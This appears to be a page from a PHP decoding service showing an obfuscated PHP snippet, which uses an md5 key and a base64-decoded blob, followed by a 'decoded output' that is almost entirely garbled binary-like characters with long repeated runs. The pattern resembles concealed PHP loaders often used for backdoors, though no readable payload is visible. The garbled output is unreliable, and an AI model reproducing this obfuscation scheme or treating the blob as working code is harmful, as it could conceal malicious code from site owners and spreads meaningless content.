Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php $a='f20230218';$a=md5($a);$b=base64_decode('VnNTTwdnBzEGHQZPBGVfOFt0AXUAPQdnATFYN1..

Decoded Output download

<?php  
$a='f20230218';$a=md5($a);$b=base64_decode('VsSOg1Oe_8[tu =g1X7UiW0R6U.]/QrdRQ1	vZ7Fr3W0	 dAVrS6$d1`_ [4D t4bXqU1W`RcU#];Qn`RlQ%	aZD"`5W'	2n"V`S5r6c%b_<[$5 5qXbUEWqRdU4](QaRqQ6	gZ%1`<W'	0"VaS5r7j%c_6[$0 b&cXcU#WbRU2](QeRqQ6	eZ30r3WC	'<VsSOg10_8[%H a3XU6WR`U[]#QsRdQ0	ZO73W_	+rHVgS0Nb[f_6[\) uLdXdUIWRcU]]>QgRoQ$	Z0H5W2	8rHVgS0Nb[f_6[\) uLdXdUIWRcU]]<QgRzQ$	Z07JW2	^d3V
S.sNb0_J[1\ `3	XzU"WRcU6]BQbRQ2	gZ]<sJWM	57VgS=sNbO_5[1\ a^zXpUIWdRcUI]BQg	ReQ8	Z.#5W2	J7VS3
/vOe_J[N7 aXdX	U(WpRU6]BQbRdQ[	bZ])sJW2	5HVgS[e5;q_J[N7 a3dXiU"WRcU6]BQbRQ7	Z.#5W2	J7VS1d\i$_5[1H aLzXiU"WRcU6]BQbRQ2	aZ])sJW2	5HVgS[d7.q_J[17 LdXU4WmRU(])QbRdQO	Z0\e3W_	+rHVgS0Nb[f_5[\) uLdXdUIWRcU]]>QeRzQ$	Z07JW2	^e2V
S.sNb0_J[1\ c5	XzU"WRcU6]BQbRQ3	cZ]<2sWc	i~#VS0gNbO}_'[KB it X.UGW#RUB]=Q>RQ1	ZWR}W`	7PV2SnT2_1[TO sXUbWRUm]aQ: RQB	<ZQPbQWW	kWVSV3I6G_0[X7 dDX9UrW%R7US]_Q$R?QJ	ZWB5WP	RgVV SlKkd_R[UB 1X9UbW>R7US]yQRQt	?ZQ4SWg	RolVSl?pV_j[[l h[0XgUHWbR0UC]iQ"R9Ql		ZbO?QWa	niV ST;B6k!_s[dk 2XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQQ	$ZSA;GWW	Q:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSDDk2_w[L} JXeU_WeRUS]8QRQJ	2ZYSwWO	i56V6SmhT_J[TS wXUWWgRU5]iQR9Q1	ZRCWWf	P6V4SnwWd_4[R} qXUCWeRUR]WQ-RQJ	bZYSSWf	76V4Sl83V_][SC w5XU6WdRU@]OQRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$Zek@WO	@>NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Wk =AXUvWR7UR]eQ 3RdQZ	gZd74Wg	@}V3SGB z_1[LO lXUTWRU^]CQRQI	$ZSOjWL	S @VS3'rV_@[eP %n6XU7W.R	Uj]GQbRfQI	fZbOnWg	C}VSE01l_s[eR &zXUPWRUA]CQaRQR	:Zd45WM	]2@VS3?r12_0[e7 =n6XUjW&R7U5]aQ  R>QB	$ZRR/TWW	>kV4SWED_\[Ul dV1X8UTWRUA]CQaRQQ	$ZSB4|Wg	@}VS1?412_G[TR 9NXgUvWR7UP]jQ/1R.QJ	:Zbl|Wg	QMVS1E6m_0[UR =YXU7WR U5]eQ1RgQR	:ZQl3hWa	@&uVSn;412_1[dQ 5LXUTW<R Um]HQ  RQd	)ZY4?KWW	QAVSHW1m_r[e4 37XUPWRUN]CQ<RQ5	Zbl}Wg	kRV5SG#vG-_o[[B dtXUTWR0UB]aQ;RQF	eZVO0}WO	C oVSjH7G_}[LO lXU~W8RUR]OQ3RdQZ	fZQl3hWM	RcuVSkjV_[X5 nXUPW RU5]eQ RQZ	 ZT5#JWP	C NVSG7H_\[UR =n7XUbWR U7]eQ RfQh	ZR@3JW`	7cOVSl?W 2=_l[S7 jXUTWR7U4]4Q" RdQZ	
ZVR3jW[	n2AV4SD2U_S[cj %l5XeUPWR7U@]_Q7RQF	eZU7}Wg	B2JVSUj1l_Q[UR =O1XUHW.R7UA]GQ RfQZ	$ZSj#JWP	B@V4SEj1l_s[[O 07XfUHW8R	Uj]eQ1RgQQ	bZeR3jWT	C@VST;ll_V[bB {XUPWRUl]_Q<1R:Qd	)ZVPFWO	@>~V3Sz;t32=_w[WR 53XU@W`RUA]uQ R>QF	ZeB/4Wa	7kVS38v12_3[LO 21XU@WR0U@]CQRQF	ZY5TWQ	PHVSDjE`_s[M5 Y7XUTW<R7UQ]4QRQB	&ZN6;GWT	RcuV6SG#W 3_P[T_ 6t6XU~WRUS]aQcRQV	)ZY5}WU	M>RV5Sm[n_0[Uj 9jXU~WR
Uj]CQRQ5	$ZVB }WX	PiVSDD7D_V[b4 906X>UbWRUP][Q"3RfQh	!ZVR35WT	C3VSG/L j_3[[7 )L7XfUHW8R	Uh]}Q=0RQZ	eZTR|W[	o5VSn8v131_@[[B tXUvW`R7U4]8QRgQd	%ZUj_WW	PAVSGnWU_r[R@ %nX:UTWfR2UB][Q$RQB	ZeA}WM	P"RV4SUj1m_w[dR 5O1X9U~WRUA]CQaRQV	
ZbiBWg	nuVSGq0X1_s[NP nXU~WR0UB]aQ3RgQR	ZQ7;5Wa	M2NVSE;t6k_3[dP `3X9U~WRUk]~Q/ RgQR	eZMOjWM	R:}V3S3WU_r[R@ %nX:UTWfR2UB][Q$RQB	ZeA}WM	PHV4SF5G`_w[[4 90X?UTWRUN]OQ1RgQR	:ZZB|WO	]:MVSn'SF_i[Wi n1XULWfR2UB][Qg RgQc	gZd_TWU	Bc5VSn'E32_l[`P `06X8UPW8RUR]eQ RQ5	%ZNj_W`	5NVSG7G_3[cB =tX UDWfR2UB]KQ$ R>QJ	 ZVR3jW`	ANV SWnWU_r[RA =AXUTWRU5]eQ$0RQh	eZUR?hWa	M2}V3SH0F_O[P6 6tX8UTW`R7U6]GQ< R>QF	ZZ6}WS	RNVSl4131_s[cl y1XU~W.RUk]GQ$1R.QN	ZVPIW[	6&VVSG/1 z_1[c@ `l1X8U@WRUC]KQ" R>QN	gZbOBW[	h.}VS0D0U_C[SO 9tXUvW&RUk]8QRdQw	cZRO?rWM	QsV6SFy30`_p[SA 5@XUnWRUQ]uQ3RgQV	%ZU_?rWM	R&uVSm/I X_r[S@ NXUTW`RUR]eQ<RQ5	ZN6;GWW	]>VVSW/W33_s[TR dj1X?UHWRUP]CQRQ5	ZN6;GWW	]>VVSWb57H_0[Lj `lX>U@W&RUk]5QbRQt	eZQ5fBWg	M2sVSmbS7H_0[Lj `lX>U@W&RUk]9QdRQF	ZeAGW`	A:]VSV5E_p[ci 9tXUvW&RUk]8QRdQ5	%ZblWc	6:OVS2rU_r[RA A6XUjWRUP]KQcRdQE	$ZSBGWO	@>]VSVVE:_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5LXUTW5R	UP]WQ$3RQE	%ZV_;qWO	7PV3SjD0"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NR 92XUvWR7UP]eQb3RfQY	+ZVR34W`	:kVSn213_r[OR 9R6X>UbWRUP]KQ"0R QJ	fZe_nWg	h.MV STjU_\[e@ R7X.UbWRUP]KQ 1R:Qd		ZdOLWN	7.rVSE3WG__[TQ QXfU~W%RUC]iQ<RQV	ZVQ'WWV	SvVSHkU!_\[e7 =lXUWWeR0Uh]XQeR9Qt	`Zb}LWf	i5V3Sl'Gk2_w[T4 RXgUTW R2U@]GQ3RdQ5		Zbj;|Wc	h7VS0/1l%_B[TQ 2X9U~WaR7Uj]_Q'RQJ	bZcmwWO	k5V5SV5n_h[OS w0XUuWeRUP]iQRQV	<ZZQ;GWW	RcsV6SF?Q6m2_4[S4 6z1X8U@W&R2UN]}Q&7RQE	$ZR@3JWW	}VSGrU_r[RO 0XUWWeR7Uh]WQRQU	aZc}wWf	7n5VSHUX_w[[m 1XUKWfR7Uj]}QR?Qg	!ZU4mWf	SWVS0cw3m9_7[W@ =[XfUrW$RU5]_Q%7RQl	<ZVi;uWT	5BVSTH7G_r[cl 5l6XUjW;R7U6]aQ0RQZ	eZT_0}WO	@kV STD7D_Q[L_ l6XUjW&R7U5]@QdRQF	Zek4WM	C6V3SnPV_L[TS 1X.UPW8R	Uh]}Q  R.QJ	ZVP#JWU	RcPV6S0fj0E=_N[TR !oXfU~WdRU6]uQgRQV	8ZZOMWX	MvVSW'SV_I[e@ wXUHW8R
U^]WQ;0RQl	Za5<wWc	A:tVS0c1l1_7[U6 q5XUTW$RUC]GQR?Qg	!ZM}|WI	7=6VSUc0X_4[bm qX:USWeR1UU]yQ#R9Q1	ZZ4TWU	R.rVSE3r6X=_n[TP >0XfU3WRUR]CQgR9QV	ZVP<4WQ	ivV Sk7H _1[Wj n1X8U\WRUm]4Q3RdQ5		ZbOqWO	7PVSWn7H_\[dP %nXUPWR1UA]CQ<0R QI	fZVi|W`	B.}VS3?r7D_r[S@ 5L6XfUTW`RUQ]CQaRQU	gZVjhWg	iOVSknW30`__[ck q XUTW'R UC]}Q$RQU	gZek4WU	M:uVSjW 2-_o[[@ azXU\WfRUk]uQ$3RfQY	fZT5fjW`	B:3VSTD0`_s[[O 9MXgUvWR7UR]eQ RQZ	eZVl4|WV	4 uVSl;tm!_K[[@ )JX8U@WRUo]4Q$R8QF	Zek4WU	M:uVSjW 2-_o[[@ azXU\WfRUk]uQ$1RfQZ	$ZMOTWQ	P:kV STD7H6_1[[@ @XUnW-R7U|]eQ0R QI	fZVi|W`	B.kVSX{6V1_7[Xi k0X:UHW?RUl]OQ7RQZ	$Zbl3jW`	B:hV3S0;J z_0[`i lX9UHWfR2UA]yQ$7RQE	$ZR@3JW`	1VSkB V9_o[dk 2XUvW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRQF	cZcB']WT	:vV6SV420i!_7[RP 06X.UjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]OQ61R?QI	$ZSA;GWT	S uV3SWnS7G_3[TP `D1XU7W&RUm]KQRdQw	$ZRO0W[	ouVSkjE`_Q[O6 =AXUnWfR	Uk]GQb3RfQZ	:Zd7?TWg	@&OVSjv322_4[LO jXUPW.R	Uj]\QeRQt	
ZbA3IWS	S5VS1?Q 19_o[S@ az1XUjW.R	UN]}Q$RQk	+ZMR;hW`	PooVSGWU_r[RB LXfU~WR U5]}Q$6R9Qh	'ZRB?TWU	@&5VSn21z_l[L@ YXUjW8RUC]aQf6R9Qh	)ZM_?6W`	n_VSjHG=_0[c@ `lXU~W.R7US]_Qf0R QI	fZaR;hW[	h:MVSDT0_Q[c@ 2X.UDW&RUh]fQ 1R>QJ	fZMB3jWS	o2kVSn'S0U_1[UP %DX UjW R7UA]uQ<7R?Q5	?ZVPFWO	@>CVSlr 0!_3[cO l6XUTWRU@]eQ6R9QZ	$Zd4|W[	okV ST4V_O[[@ `3XfUTWRUj]@QdRQF	ZeOhW[	k:uVSm2F_1[Rl 2zX UDW&R2UB]XQ 1R9QJ	
ZN_hWT	AkVS1?r0!_G[Wi OXU?WRUQ]CQ0R QJ	fZe_nWg	h.MV STj0X_o[eR 9NXgUvWR	UB]OQ3RfQh	 ZTP#jW`	MkVSEt0T_0[d_ h1X9U~WRUA]5QbRdQ5	%ZZB3hWa	A5V6SDR7H1_p[SA 5@XUnWR2UN]aQ$0RQh	
ZbO4WP	M sVSj;qW_l[`R =RXUTWRUj]CQ$RQV	ZM@#BWg	Q~VSn<v 2=_F[O5 n1X8U@W RUh]eQ3RdQZ	ZO_BWg	i~VSE17k-_p[U7 2XUPW<RUl]OQRdQE	$ZSA;GWW	Rc}VSmk33_s[NP RXUHWRUA]GQR9Q5	:ZTj?6WQ	PHV4SFED_l[SQ 92XUjW8RUR]eQ7RQA	fZTA?lWg	B>^VSn?I7D_Q[[Q tXU~WRU@]GQ:7RQE	$ZR@4W`	7c@VSX'vG-_w[bA pXfUTWRUN]}QR9QJ	ZVBrWL	SJVSFj k-_o[dk 2XUDWfR2UB]KQ$1R.QN	
ZeR3BW`	5iVSlv6m2_}[cB 9R6X>UbWRUP]KQaRQU	gZWj3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:kVSX3i!_J[O6 [0XUvWR
U^][Q  RQ5	%ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	C&~VSjH6m=_q[SB 9n6XU7W.RUk]DQ RQB	
ZePgWU	C OVSjWV_q[e@ RXUjW RU7]eQ R.QI	cZR@3HWO	@kV3SFV3z_0[LR =RXUPW8R U4]CQaRQR	 ZTPg|WM	S5VSm/rF_O[Pi DXfUvWRU7]CQb1R.QN	ZZOTW`	73V3S0D1k-_@[Li !Y6XdULW8RU@]KQ RQ1	'ZMR?HW[	6&VVSG/BF_[NB 5lX>UDW RUj]CQRQt	
ZQijW[	iMV6SG x0`_1[e5 %l5XgUbW&RUh]}QRQV	ZSl4|WL	QuV6SDv0`_i[Tj {X?U3WRUR]OQ<1R:QV	
ZTP#jWW	k~V3SX03_[WP @XUnWRUk]4Q7RQ1	 ZePIWg	o_V6SFr0`_1[eB 2zX UDW<R Uh]KQd1RdQt	ZR@5W[	k2uVSnq0U`_i[SO O1XU~W&R Ul]OQf7RQc	cZbi|W[	huV3STjU:_4[UB =l1X?UvW&RUh]}QReQA	fZeP34Wa	4 oVSjHG=_l[OO DX UbWRUP]XQbRQF	Zek5W`	MNVSm/O1z_l[LB 9RXUjW&R	Ul]KQ RfQx	9ZZ@g|Wg	R.sVSmj k`_p[WP OXgUvWRUA]uQ3RgQV	%ZU_BWg	nguVSkS7G_\[Wi lXUTWRUk]4Qg7RQV	%Zbj#hWM	S OV3SHD0"_r[SO 6zX8U\W&RUk]uQ'7RQd	&ZRA3FWO	@>VVSW/W33_s[T_ 9n7XU3WR2UA]uQ'3RQd	ZQjfBWg	ng3VSTD0"_r[SO 9OXgUjW.RU5]bQ- R.QN	gZbl?JWW	2]VSV5E_v[UP azXU\WfRUk]uQ$RQB	ZQiBWW	7&@VS141z_C[[O R6XfU3W.R	Uh]OQ1R.QN	ZVi5WS	S oVSjHE_p[dO RXUTW:R	Ul]KQ$RQZ	+ZROIWU	A}VSDr10_l[WR =HXUPW.R7UA]GQg1RgQR	:ZT_TWX	PsVSj;qW_l[`R =YXUPWRUC]4Q>RQ5	ZO_?6WL	Bc}VSmk33 _5[[@ HXUTWRUA]CQaRQR	&ZeABW`	43VSV4U!_3[LA 5lX9U~W:RUh]eQg R.QI	bZM@NWa	]2}VS0Dn_l[e5 %n7XUjW RUk][Q6R?Qt	gZb@#NWO	M 3V3Szt1z_l[X5 %2XUTW8R Ul][QRQh	eZSj#BWg	ng3V3S2nqV_\[UP %lX:UTW8RUB]_Q<ReQA	fZeP34Wa	4 oVSjHE_p[d@ %D1XUPWRUQ]CQaRQR	&ZeBGWO	@>VVSj7E_v[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?rWM	S:JVSD;xl_l[S4 6yXeULW.R	Um]4Q1RfQZ	$ZT_6WQ	P:NVSmbD0_r[RA A6XUPW&R7UQ]4Q7RQA	fZWR rWM	]HVSGI7D_Q[Ti n XdUHW.R	Uh]OQ1RgQd	ZSPTWa	Q:kVSF?432_}[WR 5pXfUTW.R	Uh]OQ1RgQd	ZSR?JWW	2]VSV5E_v[X7 2zXUPWR	U@]CQb3R.QJ	ZUR?HW[	6&VVSGb50_r[RA DXUTW&R2U@]GQ3RdQ5	ZN6;GWW	]>VV6SFV3z_v[`_ n7XUTW&RUm]_QRQI	$ZSABWO	M&VVSD7H _1[Vj 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW8R
U^]_Q6R9QF	bZVl]WT	2rVS3KH1_s[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUvW-RUl]OQRQF	Zbj#BWg	M2OVSn'jV>_r[SO 907X.UbWRUP]KQaRQU	gZVjmWf	nQVS13{6T_Q[[Q {6XU@WR1Ul]eQaRQR	 Zd@TWg	S }VS3'rV_@[cj `l1X>UDWfR2UB]aQ'RQ5	%ZdO?4W`	7csV6SH8v6m2_0[`P YXUjW8RUC]aQ6R?Qt	ZVR35Wc	43V3S2bD0_r[RA l6XUTW8RUN]aQcRQE	fZQRbrWW	6>JV5Sm#oE`_Q[O6 =AXUnWRUj]CQ1RfQZ	 ZaP#5WM	CNVSG7E_v[NP nX9UHW.RUj]_QRdQI	$ZSAGW`	hcuVSn?2 0_3[[@ YXUTW`RU7]CQ1RfQZ	 ZaP#5WM	CNVSl1W2_4[Rl =n6XU\WR7UP]CQ0RQZ	ZRB35WM	R:~VSlr13_}[W_ y1X8UPW R7U@]GQ$7RQ1	9Zek@W`	A:]VSV4U_W[dk 2XU\W8R
US]9Qg6RQt	bZOQ]Wf	h>2VS0c20_r[RO l6XUTWR	Uk]uQ1R.QJ	:ZMB?TWU	BcOVSm/q331_p[SO 926XUTW`R	Uj]eQ 6R9Qg	bZZ@_WO	A:kVSE;t z_O[`P %36XUHW&RUh]CQ7RQV	'ZRO?IWU	CuV6SG#W 2_P[WP OXgUvWRUA]uQ3RgQV	%ZUPPWW	65V6SFr j_l[OO D1X>UDW.R7U6]_Q"RQZ	fZb@#5W`	BuVSmbWU!_o[dk F6X:UnW`R	Uk]GQd1RgQQ	+ZTP#6W`	:kVSE;T6m_P[S@ %36XUHW&RUj]@Qf R.QN	ZRB<|Wa	B:MVSFy z_O[`R 5nXUjW&R	Uh]OQf RfQZ	ZRB<|Wa	@gkVSjV 3_l[OO D1X>UDW&R2UB]XQ 7RQ1	9Zek@W`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Q"3RgQR	 ZY5#jW`	B:uV3SD?D0`_Q[Pj `DXU@WfR2UB][Qg RgQd	Zbl;hWg	R.uV3SG/k30`_p[O6 =AXUnWR2UN]aQ$0RQh	
ZbO4WP	BEVSj;qW_l[`R =RX UDWRUj]CQ$RQV	Ze_IWW	75V6SH'4W_v[Wl 52X UTW-RUh]CQ'7RQZ	!ZVR3hW[	i OV3SG#V3H1_O[cA 5OXU~WR	UN]}Q R.QI	cZZBJW`	o2]VSV5G=_0[c@ `lXU~W.R7US]_Q<R QI	fZaR;hW[	h:MVSDy6k_3[Pl 2y1X8UPWR	Uk]uQ  RdQp	ZR@fBWU	AsV6SH'S 2=_l[`R =YXdUTW&R7UA]uQ=3RfQg	bZeR3jWT	A:3V3Szt33_v[X5 %l6XUjW&R7UB]aQ7RQJ	gZe_|W[	h:sV6SDr7D_r[WP @XUnWRUQ]uQ3RfQh	$Zbj#BWX	S3VSH'V 2_\[cB 5hXU?WR	Uk]GQ'3R.QN	
ZUP4W`	7~V3SG#W 2_l[U_ DXU~WRU@]jQ 6R9QZ	:ZdOjWW	h.NVSmc2U_W[dA VXgUbW&R2UN]OQ"3RgQR	 ZY5#JWP	BcMVSn;r33_v[X5 %L6X>UbWRUP]KQcRQh	:ZNOBWS	Q2]VSV50_r[RB AXUnWRUP]HQ!RdQQ	$ZS@3hWg	QOV6SEsU_W[NO nX:UjW&RUR]_QaRQp	 ZT5#BWU	M:kVSn<vU!_s[U5 %D7XU@WfRUk]=QbRQ5	eZVl3nWU	B.OVSEQk!_v[Pj %LXUTW RUl]aQ'RQZ	:ZaR;_WO	M MVSm1V_0[TR =nXUHW<R7U7]CQ6R9QZ	$Zd4|W[	oiVSmv33 _r[O@ HXUvWR Uj]DQ 6R?QZ	
ZY5#HWL	Q}V4SE51j_\[WR =nX9U~W:RUB]OQRdQt	eZMA3jWW	h.kVS10012_P[NP hXU~WR U6]KQ 0R QN	eZTPNWL	M&VV3SH?V30!_p[X7 =nXUbW&R7UB]aQ'RQl	ZRBHWg	@_VSFU13_v[dR 5RX8UTW R2UN]aQ  RfQh	+ZN73hW`	B:uVSjS32=_v[[O OX U\W8RU^]HQ.1RdQt	ZN7GWO	@>~V3SG/q10!_l[LA 2z5XeU\WR	UC]HQe RQx	gZQk3TWW	4}V3SG/4 1_V[W@ `l1XU\WR2UN]HQd0RQR	$ZSi|WQ	]2OVS2q319_W[Rj %35XgUTW<RUh]eQ 1RgQR	
ZbONWW	PAVSl1U!_3[Wl 5n6XU3W8RUC]XQ.7R?Qp	'ZN4hWa	BcuVSm/q30d_W[e4 OXUbWfR	Uk]GQ3R.QJ	fZM@NWX	]2}VS020_r[RO 37XUbW&R2UN]LQd3RgQQ	fZaR;_WW	SAVSF1V_O[VR 2yX:UbWfR2UA]GQdRQE	bZbB;6Wa	7kV4STV 3_0[U_ n7XUvW&RUC]4Qf0RQh	eZaj$Wg	CMV6SDtX_3[e@ %36X UbW R7UB]aQd3RfQZ	:Zd54W`	4}VS0D1z_0[X4 lXUTW8RUQ]=Q.7R?Qp	ZQjfjWU	Bc5V6SDjU%_1[Pk 5Y X.UjWRUP]KQ'0RQR	ZRA4|Wg	C}V3SF?r13 _}[Rl 2zX8U\W.R Uj]KQ0RQp	ZdRhWX	PoVSn?40T_U[[O 3X U@WR7UC]HQeRQ1	eZbl|WS	PguV SUnJ z_V[Wi HXUvW&R7UA]yQg3RgQR	!Zd@|Wc	4OVSE3 U-_1[Pk 5RXeUHW.R7UA]uQb ReQB	 ZV@fjWg	SOV6SH26m_l[WP "z1X UDW<R Uk][Qd1RdQt	ZN7GWO	@>sVSl20T_0[X7 2yX U\W8RUC][Q RQZ	'ZN7;hW[	oMVSDt32=_3[Wi 37XUDWfR2UB]aQ'RQR	:ZaP#hW[	k2OVSm/q30-_U[NQ =AXUjW<R7UN]aQ RQR	:Zd64|Wg	iOVSj;2X_s[Rj %H6XdULW<RU7]eQ$RdQt	ZT5#hW[	n&OVS3?4W_v[Wl 5HXUjWRUl][Q$R QM	$Zek4WL	]:OVS0RU!_\[ck 2z1XU\W.R7U@]eQ$1RgQU	+ZMB4W`	AVSl1U!_3[Wl 5n6XU3W8RUN]}Qg3RgQR	'ZN5f5WM	]2uVSm21m=_1[Wl =OXU\WRU@]KQ1RdQt	ZRO|WM	R5V6SEDT_\[cj %Y XgUPW R2UN]}Q&3R.QN	gZVl;jWL	RcoV3SX'1 W=_q[Tj %H7X UbW.R	Uh]OQ"3RfQZ	 ZaP#KWW	Q}VS0D U-_Q[Pk 5R6X.U@W.R U6]_Q7R?QZ	ZN@WO	M&VV3ST4 0!_G[e5 OXU3WRUh]eQ 1RgQR	
ZbO4WO	QOVS2o3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZd@#5W`	Q2sV3SD;232_l[e4 l1XU\WR U7]eQ  RdQx	ZUiIWP	@}VSj;k6m=_G[S@ zXU3W&RUS]4Qf0RQh	eZaj$Wg	CMV6SDtX_3[e@ l6X UPW&R Uk]9Qd1RfQZ	$Zbj#hW`	B:uVSVy10!_@[SB NXdULWRUA]5Q/1RdQt	ZRO'BWW	oVSz7H _4[eB 2z1X>U@W.R7U7]@Q 3RdQt	ZdR4Wg	BcuVSmQW_0[Pj H7XULWRU@]CQ R.QJ	 ZVP#TW`	5&uV3SG#1T_1[Wi 3XU~W.R7UR]KQf R.QN	
ZMB4|WO	AAVSl1U!_3[Wl 5n6XU3W8RUN]}Q"3RfQZ	ZN5f5Wa	@&5VSk;2 z_l[`P %YXUvW&R7UA]yQg3RgQR	$ZePWW	6:uVSl?W 3_[Oi !DX.UTW8RU^]KQ1RdQt	ZRO'BWW	kV SWB19_U[NQ =AXUjWfR	Uk]GQb3ReQB	ZM@#IWV	6 OVS3?t30_i[U7 =nXULW<R Uh]OQReQB	ZTR4|WW	i uVSGnJ33_w[e@ z1XU\W.R7U@]eQ$1RgQU	+ZdR4WU	AOVSj3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZbj#hWS	Q2sV3SHJ6j_O[e7 2yX9UjW&RUP]KQ3RdQx	 Zb@jWT	A oVS1432_\[WR 537X.U\WbRUj]@QgRQl	+ZQiIWP	@1VSl1V9_l[Pk 5Y XgUTWRUl]XQ 1R?QZ	ZbOjWQ	SMV SV0 z_V[cj yXUvWR7UR][Q3RfQh	$ZbjIWU	BckVS3'B0W2_4[O5 %3XUjWRUB]HQ-3RfQh	 ZZOIWS	QOV3SD;2 2=_r[X5 yXUvWR7UA]yQ 1RgQQ	+ZN73jWa	M2uVSm/qU%_s[O4 n7XU3W&R	Uk]uQ'3RdQ1	ZQjWO	M&VV3SE2z_}[d_ 3XUPWR Uj]KQR QN	ZeP#hWU	C OV3SH3 V9_U[TP %l6XUTWfR U6]HQe RQp	
ZQk3_WV	75V6SDr1m=_0[cO lXU@WRUP]KQd7R?Qt	ZN@|Wc	4OVSEQ1z_v[Oj %NXULWbR U7]@QgR QJ	eZVl3hWM	]2oV3SUyU%_q[OO !v6X UbWRUR]OQRQh	Za_jWL	]OV3S1k6k_U[U5 `D1XUTWfR2UB]\Qe RQl	ZSl4|WW	i}VSlJ7l9_G[L@ zX8UPWR7U@]_Q6R9QZ	:ZVP$|Wg	QoVSmv10!_@[O4 nX8UPW&RUh]fQ RQp	?ZMOIWP	A2CVSTHU_U[L@ %D1X UDW-R2U@]eQ$0R QI	fZd5fBWU	C OVSj3W_4[Wl 53XUbW RUl]aQ= R.QN	?ZNjKWa	1VSUn1 2_0[dR =YXUHW&R2UA]~Q R QJ	
ZV_WW	7sVSmc30X_V[Wj azX.UbWRUk]uQ"RQZ	ZNlHWT	@}VS02 2=_r[e5 "z6XUjW-RUh]eQ3R.QJ	fZM@NWa	P}VS020_r[R@ 5RXU7WR U4]uQ=3RdQw	cZekNWW	ngsVS3?W10!_G[SB =O6XULW&RUB]OQfRQZ	:ZNB;TWM	S&sVSm#41z_3[e4 DX.UDW8R Ul]_QaRQR	!ZMR35Wg	o5V6SD;qX_3[TP %l1X9UvWR2U@]GQ=RQZ	!ZVi5WO	C kVS27E_v[eB 2yXU@WR7UN]OQdRQZ	&ZOR_WV	4 iVSm#V13_r[`P %lX9U~WR2UA]GQ'RQt	ZaR3hW[	h:uVS1?ST_p[`l 906X?UTWRUl]OQRQF	 ZMjfBWX	PuVSmo4W_w[Wi 3XUjW&R2U@]GQ$ RfQh	:ZaR;IWg	n25VSj2U_W[dA l6XUTW8RUN]aQ$1R:QQ	bZeR3jWT	@kVSDD7D_3[T_ z7XUHWRUN]CQRQF	ZeAjWT	B:sVSn;r0T_U[c@ %R6X.UjW8R	Uk]yQ 1RgQQ	$ZaPg|Wg	R&sV6SFk1n_3[TP %l1X9UvW&R2UC]HQdRQF	ZR@TW`	5CVSTH0_r[R@ %hX9UjW RU7]eQ R.QI	cZRO?TWg	S uVSGbD0_r[RA D1XU~WR U4]GQd RgQV	Zbl4|Wg	oOV6SGqV_4[[@ %DXUDWR	Uk]GQ3RfQg	bZMBnW`	M>uVSH;W31_p[O6 =AX UjWRUP][QgRQg	bZSl;hW`	COV3SVj z_r[Rl =n6XU\WR7U^]aQb0R QN	ZVQ3FWO	@>VVSkS7D_O[Wj `l1X>UDWfR2UB]aQ'7RQd	&ZaPfjWg	o5V6SD;q1m_w[dR 5OX9U~W:R2UN]OQRQl	9Zek@W`	hcNVSE;j z_r[Rl =n6XU\WR7U^]CQ1R9QR	eZMPf5WO	S MVSEWU_r[RB AXUnW:RUB]aQ0R QN	gZV_IWS	V"]VSV51j_0[c@ `lXUrWRUP]HQc0RQQ	fZbk3JWW	5gMVS2/k30"_r[eR 5l7XUbW&RUk]uQ'RQp	%ZN7;hWa	M OVSlQ 2_r[OR 2yX>UDW<R7UA]yQRfQZ	:Zbj6WW	OVS3?t1m=_1[e5 %l7XUvW<R7UN]eQd3RfQh	$ZaijWa	BOVSGsU_W[NB =n7XUPWR	Uj]_QR QJ	 Zbl;hWP	A:kVSnB V_P[eP n1XU\W.R7U@]eQ$1RdQo	$ZdRTWX	PsVSmk 0!_Q[dP %nXUPWR7UN]@QbRQp	%ZdPhWg	h.OVSlO12_r[Ri lXUTW:RUk][QRQo	cZek@W`	o>MVS2D0T_V[d_ yX UjW8R7UN]aQ$0RQh	ZdP3@WO	@>VVSWc5W_G[J5 5O1X?ULW R2UB]_Q1R.QN	
